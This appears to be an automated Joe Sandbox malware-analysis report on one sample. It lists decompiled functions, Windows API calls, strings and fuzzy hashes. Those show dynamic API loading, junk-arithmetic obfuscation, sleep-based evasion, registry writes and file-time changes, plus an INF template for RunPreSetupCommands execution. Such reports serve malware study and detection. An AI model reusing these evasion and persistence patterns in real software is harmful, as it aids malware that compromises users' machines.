Instruction ID: a6978b56d56b19cdd1ffade96bb59cb41e04add15d1b213e2b053706fc7dfe7e
Opcode Fuzzy Hash: 3ee48065a8bcfe1525c99bbe399221e3180517b63f18aa06d447650b3d5e1822
Instruction Fuzzy Hash: 9D816E70904248EFDF00CFE4D888BEEBBB5AF49309F048059E6456B391C7799985CBA4

Function 004048B0, Relevance: 36.9, APIs: 2, Strings: 19, Instructions: 165libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 00404A5B
GetProcAddress.KERNELBASE(00000000), ref: 00404A62

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

1, xrefs: 00404995
9, xrefs: 004049A9
3oXvu, xrefs: 00404A33
f, xrefs: 0040498D
G, xrefs: 0040490D
<, xrefs: 00404915
3, xrefs: 004049DD
<, xrefs: 00404919
), xrefs: 004049BD
1, xrefs: 004049D1
|, xrefs: 00404911
+, xrefs: 0040491D
], xrefs: 004049C9
sRXPG, xrefs: 00404977
6, xrefs: 0040499D
`, xrefs: 004049B5
A, xrefs: 004049A1
!, xrefs: 004048F9
s, xrefs: 00404921

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeLibraryLoadProc
String ID: !$)$+$1$1$3$3oXvu$6$9$<$<$A$G$]$`$f$s$sRXPG$|
API String ID: 3486399526-1654983878
Opcode ID: 5c45d7c1a1cfbb3b203a1135b86cb36e4a9c94e236adb1786e5b849b86af6cf5
Instruction ID: 2df2a7d9c5744a1551dfbc586ceab2af3868436c2cc0ee3f20c5923871cb0d73
Opcode Fuzzy Hash: 5c45d7c1a1cfbb3b203a1135b86cb36e4a9c94e236adb1786e5b849b86af6cf5
Instruction Fuzzy Hash: 3D815B70D0828CDAEB11DBE8C5587EEBFB0AF55308F1440ADD4417B2C2C7B91A49CB6A

Function 00417CD0, Relevance: 35.1, APIs: 2, Strings: 18, Instructions: 114libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000D), ref: 00417E29
GetProcAddress.KERNELBASE(00000000), ref: 00417E30

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

:, xrefs: 00417CFF
(, xrefs: 00417D77
A, xrefs: 00417DF6, 00417DEE, 00417E09, 00417DD6
=, xrefs: 00417CD7
CCbkTy, xrefs: 00417E01
p, xrefs: 00417D8F
L, xrefs: 00417D97
9, xrefs: 00417CDB
D, xrefs: 00417CF7
&, xrefs: 00417D7B
kP1rHl, xrefs: 00417D61
=, xrefs: 00417CE7
8, xrefs: 00417D9F
C, xrefs: 00417DA7
1, xrefs: 00417D87
q, xrefs: 00417D93
C, xrefs: 00417CDF
k, xrefs: 00417D07

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeHandleModuleProc
String ID: &$($1$8$9$:$=$=$C$C$CCbkTy$D$L$k$kP1rHl$p$q$A
API String ID: 3419126156-4282516059
Opcode ID: 29b6c0d9c01a937793990d92117d2b09c639d1a6e7bec1ee6720f549789a4108
Instruction ID: 7273dabafabcddbf3f8e78c00117f10ca3c1bfe1ad5034392dd5b6bbec943f81
Opcode Fuzzy Hash: 29b6c0d9c01a937793990d92117d2b09c639d1a6e7bec1ee6720f549789a4108
Instruction Fuzzy Hash: 1E51F170D082CCD9EB02D7A8D5587EEBFB55F16308F18409AD4417B2C2C7BE1A49C76A

Function 00412BB0, Relevance: 24.6, APIs: 5, Strings: 9, Instructions: 129memory

APIs

Part of subcall function 00413570: GetProcessHeap.KERNEL32(00000008,?,00000008,00000040), ref: 0041367E
Part of subcall function 00413570: HeapAlloc.KERNEL32(00000000), ref: 00413685
Part of subcall function 00413570: wsprintfW.USER32 ref: 004136A2
Part of subcall function 00413570: lstrlenW.KERNEL32(00000000), ref: 004136C4
Part of subcall function 00413570: GetProcessHeap.KERNEL32(00000008,00000000,00000000,00000000), ref: 004136DF
Part of subcall function 00413570: HeapAlloc.KERNEL32(00000000), ref: 004136E6
Part of subcall function 00413570: GetProcessHeap.KERNEL32(00000000,00000000,00000000), ref: 00413742
Part of subcall function 00413570: HeapFree.KERNEL32(00000000), ref: 00413749

StrDupW.SHLWAPI(?), ref: 00412BE9

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 004039A0: CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 004039FE
Part of subcall function 004039A0: GetLastError.KERNEL32(?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A0D
Part of subcall function 004039A0: Sleep.KERNEL32(0000000A,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A26
Part of subcall function 004039A0: CreateFileW.KERNEL32(00000020,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 00403A44
Part of subcall function 004039A0: SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A7F
Part of subcall function 004039A0: WriteFile.KERNELBASE(000000FF,00000000,00000001,00418A8C,00000000), ref: 00403A97
Part of subcall function 004039A0: SetEndOfFile.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AA5
Part of subcall function 004039A0: GetLastError.KERNEL32(?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AB4
Part of subcall function 004039A0: SetFileTime.KERNELBASE(000000FF,00000000,00000000,00000000,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403ACD
Part of subcall function 004039A0: FlushFileBuffers.KERNEL32(000000FF), ref: 00403AD7
Part of subcall function 004039A0: CloseHandle.KERNEL32(000000FF), ref: 00403AE1
Part of subcall function 004039A0: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AF3
Part of subcall function 004039A0: HeapFree.KERNEL32(00000000,?,00000000), ref: 00403AFA

HeapFree.KERNEL32(00000000), ref: 00412D3D

Part of subcall function 00412D50: RegSetValueExW.KERNEL32 ref: 004133F8
Part of subcall function 00412D50: RegSetValueExW.KERNEL32 ref: 0041345D
Part of subcall function 00412D50: RegSetValueExW.KERNEL32 ref: 004134C8
Part of subcall function 00412D50: RegCloseKey.ADVAPI32(00000000), ref: 004134DB

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412D23
HeapFree.KERNEL32(00000000), ref: 00412D2A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412D36

Strings

s, xrefs: 00412C11
5, xrefs: 00412C31
8, xrefs: 00412C21
8sMH5, xrefs: 00412C87
H, xrefs: 00412C19
M, xrefs: 00412C29
$, xrefs: 00412C15
[, xrefs: 00412C1D
H, xrefs: 00412C2D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$File$Free$AllocValue$CloseCreateErrorLast$BuffersFlushHandlePointerSleepTimeWritelstrlenwsprintf
String ID: $$5$8$8sMH5$H$H$M$[$s
API String ID: 1402544014-3013523777
Opcode ID: 279f82b33dbba87ba6226370402a200ee3f16a909926843f630c6293f7e03e7f
Instruction ID: 5733f67ad9f94aa452de7f35b4329887ed5eac5291b859a8c233a62f57b27c4f
Opcode Fuzzy Hash: 279f82b33dbba87ba6226370402a200ee3f16a909926843f630c6293f7e03e7f
Instruction Fuzzy Hash: 4B515F70D04248EBEF04DFE4D989BEEBBB4AF19304F04805AE501B7381D7B95A45CBA9

Function 004039A0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 120filememorysleep

APIs

Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00402F5C
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000008,00000008), ref: 00402F75
Part of subcall function 00402F40: HeapAlloc.KERNEL32(00000000), ref: 00402F7C
Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000), ref: 00402FA5
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402FB5
Part of subcall function 00402F40: HeapFree.KERNEL32(00000000), ref: 00402FBC

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 004039FE
GetLastError.KERNEL32(?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A0D
Sleep.KERNEL32(0000000A,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A26
CreateFileW.KERNEL32(00000020,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 00403A44
HeapFree.KERNEL32(00000000,?,00000000), ref: 00403AFA

Part of subcall function 00403130: GetSystemTime.KERNELBASE(?), ref: 00403151
Part of subcall function 00403130: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040322F
Part of subcall function 00403130: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040323D
Part of subcall function 00403130: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040324B

SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A7F
WriteFile.KERNELBASE(000000FF,00000000,00000001,00418A8C,00000000), ref: 00403A97
SetEndOfFile.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AA5
GetLastError.KERNEL32(?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AB4
SetFileTime.KERNELBASE(000000FF,00000000,00000000,00000000,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403ACD
FlushFileBuffers.KERNEL32(000000FF), ref: 00403AD7
CloseHandle.KERNEL32(000000FF), ref: 00403AE1
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AF3

Strings

, xrefs: 00403A16

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: File$Time$Heap$System$Process$CreateEnvironmentErrorExpandFreeLastStrings$AllocBuffersCloseFlushHandlePointerSleepWrite
String ID:
API String ID: 1874172049-3916222277
Opcode ID: 908a33271f9826174d6376d810acc9d9cda69eb63efa3889a1ff0d46f2e8e865
Instruction ID: 4402dbec693c4470d0f6314a39076820bf2b66616fbd0c4687b5c25286c3cbbe
Opcode Fuzzy Hash: 908a33271f9826174d6376d810acc9d9cda69eb63efa3889a1ff0d46f2e8e865
Instruction Fuzzy Hash: 36411B75A80208FFDB14DF90DD89BEEBB78AB48701F108169F611AA291D774AA44CF58

Function 0040D8B0, Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 146string

APIs

Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000008,00000250,?), ref: 0040E5CD
Part of subcall function 0040E5B0: HeapAlloc.KERNEL32(00000000), ref: 0040E5D4
Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040E5EE
Part of subcall function 0040E5B0: HeapAlloc.KERNEL32(00000000), ref: 0040E5F5
Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000008,00000210), ref: 0040E60F
Part of subcall function 0040E5B0: HeapAlloc.KERNEL32(00000000), ref: 0040E616
Part of subcall function 0040E5B0: GetSystemDirectoryW.KERNEL32(00000000,?), ref: 0040E71D
Part of subcall function 0040E5B0: lstrcatW.KERNEL32 ref: 0040E760
Part of subcall function 0040E5B0: FindFirstFileW.KERNELBASE(00000000,00000000), ref: 0040E76E
Part of subcall function 0040E5B0: StrRChrW.SHLWAPI(-0000002C,00000000,0000002E), ref: 0040E7C6
Part of subcall function 0040E5B0: FindNextFileW.KERNELBASE(000000FF,00000000), ref: 0040E86E
Part of subcall function 0040E5B0: FindFirstFileW.KERNEL32(00000000,00000000), ref: 0040E880
Part of subcall function 0040E5B0: FindClose.KERNEL32(000000FF), ref: 0040E8B5
Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8C7
Part of subcall function 0040E5B0: HeapFree.KERNEL32(00000000), ref: 0040E8CE
Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8E2
Part of subcall function 0040E5B0: HeapFree.KERNEL32(00000000), ref: 0040E8E9
Part of subcall function 0040E5B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8F5
Part of subcall function 0040E5B0: HeapFree.KERNEL32(00000000), ref: 0040E8FC

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

lstrcatW.KERNEL32 ref: 0040DA04
GetTickCount.KERNELBASE ref: 0040DA3F

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

9, xrefs: 0040D978
?, xrefs: 0040D974
6, xrefs: 0040D96C
#, xrefs: 0040D97C
S, xrefs: 0040D980
F, xrefs: 0040D968
F, xrefs: 0040D970
F, xrefs: 0040D984
G, xrefs: 0040D988
9FSFG, xrefs: 0040D9DE

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFindFree$File$Firstlstrcat$CloseCountDirectoryNextSystemTick
String ID: #$6$9$9FSFG$?$F$F$F$G$S
API String ID: 856961236-3519164756
Opcode ID: 28b590740dd437066495dec254e553d4d07decfe3b493ee6628fea9aa4dd6564
Instruction ID: 928b5be9a47cc996c75c12c6f3e7b947d6177a787bbc8850d26502ab9ad7f011
Opcode Fuzzy Hash: 28b590740dd437066495dec254e553d4d07decfe3b493ee6628fea9aa4dd6564
Instruction Fuzzy Hash: B351A070E44249FAEB00DBE4DD46BEE7BB09F14708F5404AAE501762C1E7FD1E098B6A

Function 004253F0, Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 272

C-Code - Quality: 93%

			E004253F0() {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				signed int* _v28;
				intOrPtr* _v32;
				char _v37;
				signed int _v44;
				signed int _v48;
				void* _v52;
				signed int _v56;
				void* _v60;
				signed int* _v64;
				intOrPtr* _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				void* _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int* _v116;
				void* _v120;
				intOrPtr* _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v144;
				void* _v148;
				intOrPtr _v152;
				void* _v156;
				signed int _v160;
				void* _v164;
				intOrPtr* _v168;
				signed int _v180;
				intOrPtr* _v184;
				signed int* _v188;
				int _t221;
				intOrPtr _t226;
				void* _t247;
				void* _t251;
				void* _t259;
				void* _t261;
				signed int _t302;
				signed int _t330;
				signed int _t337;
				void* _t339;
				void* _t349;

				_v52 = 0;
				while(_v52 < 2) {
					_v60 = 0;
					while(_v60 < 5) {
						_v56 = 0xf93a122f;
						_v24 = 0xfa143b25;
						_v68 =  &_v24;
						_v24 = _v24 - (_v56 | 0x000087f0) -  *_v68;
						_v12 = 0x29;
						_v64 =  &_v24;
						_v12 = _v12 - _v12 *  *_v64;
						_v60 = _v60 + 1;
					}
					_t261 = _v52 + 1;
					__eflags = _t261;
					_v52 = _t261;
				}
				_v12 = 0xdd;
				_v32 =  &_v12;
				_v12 = (_v12 & 0xf7c9492f) -  *_v32 + _v12;
				E00424D80("MKCOL ");
				_v37 = 0;
				_v48 = 0xf3a167ae;
				asm("cdq");
				_v48 = _v48 / (_v48 + 1) * _v48;
				_v20 = 0xfc3b19be;
				asm("cdq");
				_v20 = _v20 - _v20 / (_v20 + 1);
				_v44 = 0x48;
				_v44 = (_v44 & _v44) + _v44 + _v44;
				_t221 = SHDeleteEmptyKeyW(0, 0);
				__eflags = _t221 - 6;
				if(_t221 >= 6) {
					_v72 = 0xce;
					_v84 = 0xfe614086;
					asm("cdq");
					_v72 = _v72 - _v72 / (_v84 + 1);
					_v92 = 0;
					while(1) {
						__eflags = _v92 - 3;
						if(_v92 >= 3) {
							break;
						}
						_v76 = (_v84 | 0xf97c7e99) * _v84;
						_v72 = _v72 - _v76 - _v72;
						_t259 = _v92 + 1;
						__eflags = _t259;
						_v92 = _t259;
					}
					_t226 = E00425240(); // executed
					_v80 = _t226;
					_v88 = 0xf0090ec8;
					_v88 = _v88 - _v88 + _v88;
					__eflags = _v80 - 0x57;
					if(_v80 == 0x57) {
						_v120 = 0;
						while(1) {
							__eflags = _v120 - 2;
							if(_v120 >= 2) {
								break;
							}
							_v108 = 0x32;
							__eflags = _v108 - 0xf85451e6;
							if(_v108 >= 0xf85451e6) {
								_v128 = 0xf1df28f0;
								_v144 = 0xf29d331d;
								_t302 = (_v144 | _v128) + _v128 + _v128;
								__eflags = _t302;
								_v128 = _t302;
							}
							_v148 = 0;
							while(1) {
								__eflags = _v148 - 2;
								if(_v148 >= 2) {
									break;
								}
								_v152 = 0xfa3c7088;
								_v128 = 0x32;
								_v128 = _v128 - _v152 - _v128;
								_v132 = 0x66ab;
								_v152 = _v152 - _v108 - _v132;
								_t349 = _v148 + 1;
								__eflags = _t349;
								_v148 = _t349;
							}
							_v132 = 0xfc9d0354;
							_v128 = 0xd548;
							_v124 =  &_v128;
							_v108 = _v108 - _v132 -  *_v124;
							_t251 = _v120 + 1;
							__eflags = _t251;
							_v120 = _t251;
						}
						_v156 = 0;
						while(1) {
							__eflags = _v156 - 2;
							if(_v156 >= 2) {
								break;
							}
							_v164 = 0;
							while(1) {
								__eflags = _v164 - 4;
								if(_v164 >= 4) {
									break;
								}
								GetEnvironmentStringsW();
								_v112 = 0x41;
								_v160 = 0xf1a31c56;
								_v168 =  &_v160;
								_v100 = 0x324f;
								_v112 = (_v112 | _v100) -  *_v168 + _v112;
								asm("cdq");
								_v112 = _v100 / (_v160 + 1) + _v112;
								_t247 = _v164 + 1;
								__eflags = _t247;
								_v164 = _t247;
							}
							_v112 = 0x6a;
							_v160 = 0xfed7d1b2;
							__eflags = _v112 - _v160;
							if(_v112 != _v160) {
								_v100 = 4;
								_v188 =  &_v100;
								asm("cdq");
								_v112 = _v112 -  *_v188 / (_v160 + 1);
								_v104 = 0xab5e;
								_v184 =  &_v104;
								_v160 = _v160 -  *_v184 + _v160;
								asm("cdq");
								_t337 = _v112 - _v104 / (_v112 + 1);
								__eflags = _t337;
								_v112 = _t337;
							} else {
								_v104 = 0xf537c6a4;
								_v180 = 0x1c5c;
								_v104 = ((_v160 & _v180) - _v104) * _v104;
							}
							_t339 = _v156 + 1;
							__eflags = _t339;
							_v156 = _t339;
						}
						_v112 = 0x4e27;
						_v104 = 0xfc59093e;
						_v116 =  &_v112;
						_v104 =  *_v116;
						_v100 = 0x90;
						asm("cdq");
						_v100 = _v100 / (_v112 + 1) * _v100;
						_v96 = 0xfd1b10df;
						_t330 = _v96 * _v96 + _v96;
						__eflags = _t330;
						_v96 = _t330;
						E00424EB0(_t330); // executed
					}
				}
				_v16 = 0x1fad;
				_v28 =  &_v16;
				_v16 =  *_v28 * _v16 * _v16;
				__eflags = 0;
				return 0;
			}

0x004253f9
0x0042540b
0x00425411
0x00425423
0x00425429
0x00425430
0x0042543a
0x0042544f
0x00425452
0x0042545c
0x0042546d
0x00425420
0x00425420
0x00425405
0x00425405
0x00425408
0x00425408
0x00425474
0x0042547e
0x00425492
0x0042549a
0x004254a2
0x004254a6
0x004254b6
0x004254bd
0x004254c0
0x004254d0
0x004254d8
0x004254db
0x004254ee
0x004254f5
0x004254fb
0x004254fe
0x00425504
0x0042550b
0x0042551b
0x00425523
0x00425526
0x00425538
0x00425538
0x0042553c
0x00000000
0x00000000
0x0042554b
0x00425559
0x00425532
0x00425532
0x00425535
0x00425535
0x0042555e
0x00425563
0x00425566
0x00425578
0x0042557b
0x0042557f
0x00425585
0x00425597
0x00425597
0x0042559b
0x00000000
0x00000000
0x004255a1
0x004255a8
0x004255af
0x004255b1
0x004255b8
0x004255ce
0x004255ce
0x004255d1
0x004255d1
0x004255d4
0x004255ef
0x004255ef
0x004255f6
0x00000000
0x00000000
0x004255f8
0x00425602
0x00425617
0x0042561a
0x0042562f
0x004255e6
0x004255e6
0x004255e9
0x004255e9
0x00425637
0x0042563e
0x00425648
0x00425658
0x00425591
0x00425591
0x00425594
0x00425594
0x00425660
0x0042567b
0x0042567b
0x00425682
0x00000000
0x00000000
0x00425688
0x004256a3
0x004256a3
0x004256aa
0x00000000
0x00000000
0x004256ac
0x004256b2
0x004256b9
0x004256c9
0x004256cf
0x004256e7
0x004256f6
0x004256fc
0x0042569a
0x0042569a
0x0042569d
0x0042569d
0x00425701
0x00425708
0x00425715
0x0042571b
0x00425746
0x00425750
0x00425767
0x0042576f
0x00425772
0x0042577c
0x00425796
0x004257a5
0x004257ab
0x004257ab
0x004257ad
0x0042571d
0x0042571d
0x00425724
0x00425741
0x00425741
0x00425672
0x00425672
0x00425675
0x00425675
0x004257b5
0x004257bc
0x004257c6
0x004257ce
0x004257d1
0x004257e1
0x004257e8
0x004257eb
0x004257f9
0x004257f9
0x004257fc
0x004257ff
0x004257ff
0x0042557f
0x00425804
0x0042580e
0x0042581e
0x00425821
0x00425826

APIs

SHDeleteEmptyKeyW.SHLWAPI(00000000,00000000), ref: 004254F5

Part of subcall function 00425240: LoadLibraryW.KERNEL32(user32.dll), ref: 0042525F
Part of subcall function 00425240: GetProcAddress.KERNELBASE(?,SetMenuItemInfoW), ref: 00425292
Part of subcall function 00425240: GetLastError.KERNEL32 ref: 004252A6

GetEnvironmentStringsW.KERNEL32 ref: 004256AC

Part of subcall function 00424EB0: Sleep.KERNELBASE(00009470), ref: 00424F2B
Part of subcall function 00424EB0: GetTickCount.KERNEL32 ref: 00425005
Part of subcall function 00424EB0: GetTickCount.KERNEL32 ref: 0042502B

Strings

O2, xrefs: 004256CF
H, xrefs: 004254DB
), xrefs: 00425452
'N, xrefs: 004257B5
2, xrefs: 004255A1
MKCOL , xrefs: 00425495
2, xrefs: 00425602
W, xrefs: 0042557B

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountTick$AddressDeleteEmptyEnvironmentErrorLastLibraryLoadProcSleepStrings
String ID: 'N$)$2$2$H$MKCOL $O2$W
API String ID: 3532415265-3337921104
Opcode ID: 49ffefa8448e28b4c706349a2b0060b48a779619f75e9425e6699d0f87fdf1d9
Instruction ID: f6616484e3d0ebfad88e41525b1417390bb8dad63b103dfb5dc7fe8ed041fb46
Opcode Fuzzy Hash: 49ffefa8448e28b4c706349a2b0060b48a779619f75e9425e6699d0f87fdf1d9
Instruction Fuzzy Hash: 50D1B0B4E00218CFDB14CFA9D984A9DFBB2FF48308F60819AD419AB355D7746A86CF45

Function 00402FE0, Relevance: 16.6, APIs: 11, Instructions: 109memoryfile

APIs

Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00402F5C
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000008,00000008), ref: 00402F75
Part of subcall function 00402F40: HeapAlloc.KERNEL32(00000000), ref: 00402F7C
Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000), ref: 00402FA5
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402FB5
Part of subcall function 00402F40: HeapFree.KERNEL32(00000000), ref: 00402FBC

CreateFileW.KERNELBASE(FFFFFFFF,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00403025
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040303F
GetProcessHeap.KERNEL32(00000008,-00000002), ref: 00403060
RtlAllocateHeap.NTDLL(00000000), ref: 00403067
ReadFile.KERNELBASE(000000FF,00000000,00000000,?,00000000), ref: 0040308A
GetLastError.KERNEL32 ref: 004030D7
CloseHandle.KERNEL32(000000FF), ref: 004030EA
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403102
HeapFree.KERNEL32(00000000), ref: 00403109
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040311B
HeapFree.KERNEL32(00000000), ref: 00403122

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$FileFree$EnvironmentExpandStrings$AllocAllocateCloseCreateErrorHandleLastReadSize
String ID:
API String ID: 1332740398-0
Opcode ID: 1484c7c75c6d01eead4d955c1b8811d25623b3febee6158bb6df74d5fb57fa63
Instruction ID: a5aa38c52bf53fbebb6e07154e19083e5da7bd727423c169beb1f308867e3fa2
Opcode Fuzzy Hash: 1484c7c75c6d01eead4d955c1b8811d25623b3febee6158bb6df74d5fb57fa63
Instruction Fuzzy Hash: 13412D70941209FFDB14DFA4CC89BEEBBB8AB08316F20866AE511B72D1C7745A80DF55

Function 00413570, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 154memorystring

APIs

Part of subcall function 0041B210: GetProcessHeap.KERNEL32(00000008,0000000A,0000006C), ref: 0041B379
Part of subcall function 0041B210: HeapAlloc.KERNEL32(00000000), ref: 0041B380

GetProcessHeap.KERNEL32(00000008,?,00000008,00000040), ref: 0041367E
HeapAlloc.KERNEL32(00000000), ref: 00413685
wsprintfW.USER32 ref: 004136A2
lstrlenW.KERNEL32(00000000), ref: 004136C4
GetProcessHeap.KERNEL32(00000008,00000000,00000000,00000000), ref: 004136DF
HeapAlloc.KERNEL32(00000000), ref: 004136E6

Part of subcall function 00412B70: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,004136F2,00000000,00000000,00000000,?,004136F2,00000000), ref: 00412B98

GetProcessHeap.KERNEL32(00000000,00000000,00000000), ref: 00413742
HeapFree.KERNEL32(00000000), ref: 00413749

Strings

[Version]signature = "$CHICAGO$"AdvancedINF = 2.5, "You need a new version of advpack.dll"[DefaultInstall]RunPreSetupCom, xrefs: 0041359E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Alloc$ByteCharFreeMultiWidelstrlenwsprintf
String ID: [Version]signature = "$CHICAGO$"AdvancedINF = 2.5, "You need a new version of advpack.dll"[DefaultInstall]RunPreSetupCom
API String ID: 2249231732-2804940025
Opcode ID: a808f4f822ba2072542ac23bcd37440d7b0b6367de70ce3a47ec5b97be367c15
Instruction ID: 230cffa869d3863531027cb4546034d222c9332c74551c1d28eabc7f9adf3e35
